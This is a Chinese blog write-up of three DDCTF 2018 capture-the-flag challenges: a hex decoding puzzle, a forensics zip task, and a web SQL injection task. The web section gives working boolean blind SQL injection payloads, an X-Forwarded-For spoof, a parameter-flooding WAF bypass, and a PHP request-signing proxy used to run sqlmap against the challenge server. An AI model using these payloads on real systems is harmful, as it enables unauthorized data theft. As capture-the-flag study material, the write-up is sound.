DDCTF三道小结

  1. DDCTF三道小结
    1. (╯°□°)╯︵ ┻━┻
    2. 第四扩展FS
    3. Web 1 数据库的秘密

DDCTF三道小结

太菜了 就只能做出三道题,继续加油,明年再战

(╯°□°)╯︵ ┻━┻

d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb7b9b8e4b5b5e4e2b7b6b5b5b2e1b9b2b2e4b0b0e4b7b7b5e5b3b3b1b1b9b0b7fd

进制转换,先将16进制转换为10进制,再对128求余,剩下的结果转换为字符。

ascii="212 232 225 244 160 247 225 243 160 230 225 243 244 161 160 212 232 229 160 230 236 225 231 160 233 243 186 160 196 196 195 212 198 251 185 178 178 225 226 185 185 183 180 225 180 183 227 228 179 178 178 227 230 180 179 226 181 176 182 177 176 230 225 229 225 181 253"
newlist=ascii.split()
newlist2=ascii.split()
for i in range(90,160):
    for j in range(len(newlist)):
        newlist2[j]=int(newlist[j])-i
    for k in newlist2:
        print chr(int(k)),
    print ""

DDCTF{922ab9974a47cd322cf43b50610faea5}

第四扩展FS

分析得到有一个压缩包

foremost出来得到zip,

解压密码在windows.jpg属性的备注

Pactera

(插曲我一开始以为是crc32攻击)逃

解压得到file

根据提示进行字符频度统计即可得到flag。

http://www.aihanyu.org/cncorpus/CpsTongji.aspx

频次 频率 %
1 D 3950 12.9381
2 C 1900 6.2234
3 T 1850 6.0596
4 F 1800 5.8958
5 { 1750 5.7321
6 t 1700 5.5683
7 u 1650 5.4045
8 0 1600 5.2407
9 k 1550 5.077
10 U 1500 4.9132
11 a 1450 4.7494
12 n 1400 4.5857
13 s 1350 4.4219
14 h 1300 4.2581
15 i 1250 4.0943
16 y 1200 3.9306
17 e 1150 3.7668
18 ! 1100 3.603
19 }

DDCTF{tu0kUanshiye!}

Web 1 数据库的秘密

使用插件modify headers加一个x-forward-for: 123.232.23.245

打开题目是三个搜索框和一个数据表格,分析form表单发现隐藏一处所以更改本地复现进行注入

发现是bool盲注,并用burp fuzz一下

发现union,database()都被过滤

准语句:0’&&if(ascii(substr((select version()),1,1))>0,1,0)#

得到库名:0’ && if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>0,1,0)#:DDCTF

得到表名0’&&if(ascii(substr((select table_name from information_schema.tables where table_schema=’ddctf’))>0,1,0)#:ctf_key1

得到字段名 0’&&if(ascii(substr((select column_name from information_schema.columns where table_name=’ctf_key1’ limit 0,1),9,1))>0,1,0)#:secvalue

得到flag 0’&&if(ascii(substr((select secvalue from ctf_key1 limit 0,1),1,1))>0,1,0)# ====0’ && substr((select secvalue from ddctf.ctf_key1 limit 0,1),1,1)=’d’#

DDCTF{IKIDLHNZMKFUDEQE}

substr()函数

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

另附大佬一的奇特方法直接显注:

此waf为假waf 使用超过100个参数可以绕过

http://www.hayasec.me/2018/04/20/ddctf-web1-writeup/

大佬二sqlmap一把梭:

对于此题,采用了使用 PHP 编写代理页面的方式,对请求进行了代理并签名。之后使用 sqlmap 等通用工具对该 PHP 页面进行注入即可。
proxy.php 代码如下:

<?php
@$id = $_REQUEST['id'];
@$title = $_REQUEST['title'];
@$author = $_REQUEST['author'];
@$date = $_REQUEST['date'];
$time = time();
$sig = sha1('id='.$id.'title='.$title.'author='.$author.'date='.$date.'time='.$time.'adrefkfweodfsdpiru');

$ch = curl_init();

$post = [
    'id' => $id,
    'title' => $title,
    'author' => $author,
    'date' => $date,
];

curl_setopt($ch, CURLOPT_URL,"http://116.85.43.88:8080/KREKGJVFPYQKERQR/dfe3ia/index.php?sig=$sig&time=$time");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Forwarded-For: 123.232.23.245',
    ));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

$ch_out = curl_exec($ch);
$ch_info = curl_getinfo($ch);

$header = substr($ch_out, 0, $ch_info['header_size']);
$body = substr($ch_out, $ch_info['header_size']);

http_response_code($ch_info['http_code']);
//header($header);
//echo $header;
echo $body;

sqlmap 一把梭,对代理 PHP 页面进行注入,注入点果然位于 author,获得 flag。

sqlmap.py -u 'http://127.0.0.1/proxy.php?author=admin' --dump

Web-1

https://clannad.me/ddctf.md.html

http://sec2hack.com/ctf/ddctf-2018-web-writeup.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:DDCTF三道小结

文章字数:793

本文作者:Mang0

发布时间:2018-04-23, 21:35:39

最后更新:2018-11-02, 21:52:11

原始链接:http://mang0.me/archis/a7a61e20/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏